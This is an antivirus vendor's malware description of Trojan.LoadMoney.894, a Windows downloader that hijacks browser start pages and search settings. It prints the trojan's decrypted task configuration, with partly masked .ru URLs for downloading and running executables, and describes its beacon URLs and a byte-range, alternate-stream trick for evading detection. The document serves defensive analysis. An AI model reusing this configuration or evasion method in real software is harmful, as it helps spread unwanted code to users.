La mia libreria
La mia libreria

+ Aggiungi alla libreria

Supporto
Supporto 24/7 | Regole per contattare

Richieste

Profile

Trojan.LoadMoney.894

Aggiunto al database dei virus Dr.Web: 2015-07-22

La descrizione è stata aggiunta:

SHA1 fdd522b5719eac0d622a91a66ea2e608507a77a3

The Trojan is distributed by means of Trojan.LoadMoney.336. It uses the following libraries:

  • boost,
  • libcurl (7.34.0),
  • jsoncpp.

Path to PDB: G:\autobuild\browser-tools-guard\output\Release\nethost.pdb; file name with Winmain is guard.cpp.

Once launched, the Trojan extracts configuration data from its body and reads it. Then it creates %LOCAL_APPDATA%\SystemDir which will be used as a working folder. Next, Trojan.LoadMoney.894 runs a search for the %EXENAME%:tmp and %EXENAME%.tmp files (however, it should be noted that Trojan.LoadMoney.336 can operate even without these files). If any problems occur during this search, the malicious program uses two following debugging lines: “installer not found” and “error opening file installer file #”. If the Trojan is launched without command-line parameters, it starts looking for browser shortcuts. If the start page URL is specified in the shortcut properties, the malicious program deletes it.

After that, the Trojan sends its command and control server the nethost_online and nethost_data requests and tries to update itself. This procedure is repeated after specified time intervals. During this process, the Trojan extracts from its body the list of URLs to download its latest version and updates. The malicious program compares the version that it gets from the server with the one from its body and, based on the result, decides whether to update itself or not. First, the Trojan sends the server a HEAD request and then a GET request when the version and updates are received. The updated executable file is saved under the nethost_update.exe name to %LOCAL_APPDATA%\SystemDir\. Once the download is complete, Trojan.LoadMoney.894 runs the updated version with the –update key and terminates its own work.

After the Trojan updates itself, it deletes nethost.exe.bkp and nethost_update.exe and starts retrieving the payload. For that, it extracts the URL of the host bearing the payload and downloads from it an encrypted file. Then the Trojan decrypts the file and searches it for the URL to get the configuration data from. The received URL, which is encrypted, the malware saves to the registry and later uses the configuration data from the registry. From this URL, the Trojan downloads a file, which looks as follows once it is decrypted:

{
    "updateurl":"http:\/\/****.ru\/nethost.exe",
    "updateversion":"1.0.0.211",
    "tasks":[
        {
            "name":"extension",
            "period":604800,
            "params":"--source=\"http:\/\/****\/vklike.crx\" --install_url=\"http:\/\/****.ru\/?guid=$__GUID&sig=$__SIG&ovr=$__OVR&default=$__DEFAULT&browser=$__BROWSER\" --reinstall browsers=chrome --sha256=3395ad4b8fe61028a2cb01f7e3f7ca969e7b7eea28c30e9db3d2ad939b010217",
            "url":"http:\/\/*****.ru\/chrome_extension.exe",
            "md5sum":"a6ac299ceb031166af51503f5f12fe94"
        },
        {
            "name":"setsearchm",
            "period":7200,
            "params":"--nowait",
            "url":"http:\/\/*****.ru\/setsearchm.exe",
            "md5sum":"94cac3bc69c520c96408a6cec3c8f0f7",
            "period_domain":86400,
            "period_json":7200
        },
        {
            "name":"startpm",
            "period":9000,
            "params":"--spec=\"lnaqrk.eh,ln.eh,tb.znvy.eh,jjj.lnaqrk.eh,jjj.ln.eh,znvy.eh\" --nowait --url=\"http:\/\/****.ru\/?utm_content=4236780127a23859cd9e34e0c8c59fd7&utm_source=startpm&utm_term=$__MID\"  --sha256=0e2257a3f00f5873b764ef80d95cb3343ca66bc032de76b39a5c3f62860e8d9f",
            "url":"http:\/\/****.ru\/start_page.exe",
            "md5sum":"a6ac299ceb031166af51503f5f12fe94"
        }
    ]
}

The payload is retrieved as follows: first, the Trojan sends a HEAD request with the range: "bytes=2-" parameter, then a similar GET request. Most likely, this method is used to make detection of applications downloaded by the Trojan more difficult. Once the payload is retrieved, the malicious program replicates itself to %TEMP% with the name of the current task (in our case, it is extension.exe), generates an alternative thread with the :tmp name, and includes to this thread the downloaded file without the first two bytes. Using parameters from the configuration file, the Trojan launches its copy from the %TEMP% folder. Then the malware reads the thread, allocates memory for it, and transfers control to the entry point.

Command line

The following arguments can be used:

  • --afterupdate—removes nethost.exe.bkp and nethost_update.exe from the working folder;
  • --install_url;
  • --update—renames %LOCAL_APPDATA%\SystemDir\nethost.exe to nethost.exe.bkp, copies %LOCAL_APPDATA%\SystemDir\nethost_update.exe to nethost.exe and runs it with --afterupdate; then terminates the working process;
  • --setup.

Resources

The Trojan stores a part of its configuration data in resources encrypted with XOR. The following information is stored there:

  • URL to an update (in JSON)
  • URL to the latest version (in JSON)
  • URL to a configuration file with the payload

Registry

The Trojan uses HKLM\Software\nethost to store its data. In particular, the following parameters are used:

  • LastOnlineEvent—timestamp of the last connection session with the server via nethost_online,
  • lastUpdated—timestamp of the Trojan's last update,
  • specialValue—encrypted URL to a configuration file with the payload,
  • specialValueChonos—timestamp of specialValue.

Network activity

The Trojan can send requests of several types that differ in the “action” parameter.

nethost_online

Most likely, it is used to send the server the “I am alive” status. Standard reply is “OK\r”.

HEAD request to a URL can look as follows: http://g.***.ru/?prod=nethost&version=1.0.0.211&action=nethost_online&guid=*****&mid=*******&os=5.1&bit=32&sig=****

  • prod—value taken from the Trojan's body,
  • version—value taken from the Trojan's body,
  • guid—MD5 hash calculated using SID and a number of the first partition of the hard disk,
  • mid—copy of guid,
  • os—Windows version,
  • bit—bit count of the environment,
  • sig—“signature” of the URL (MD5 hash of the whole URL).

nethost_data

Standard reply is “OK\r”.

HEAD request to a URL can look as follows: http://g.***.ru/?prod=nethost&version=1.0.0.211&action=nethost_data&guid=*****&mid=****&os=5.1&bit=32&sig=****&gmr=0&mru=0&ypr=0&ymr=0&default=ie&startpage=url&starturl=&search=default

Parameters are similar to nethost_online. However, several new parameters are added:

  • gmr (0/1)—the guardmailru.exe process,
  • mru (0/1)—the mailruupdater.exe process,
  • ypr (0/1)—the praetorian.exe process,
  • ymr (0/1)—the BrowserManager.exe process,
  • default—default browser,
  • startpage—browser start page,
  • starturl—start page URL,
  • search—default search engine.

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Download Dr.Web

Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android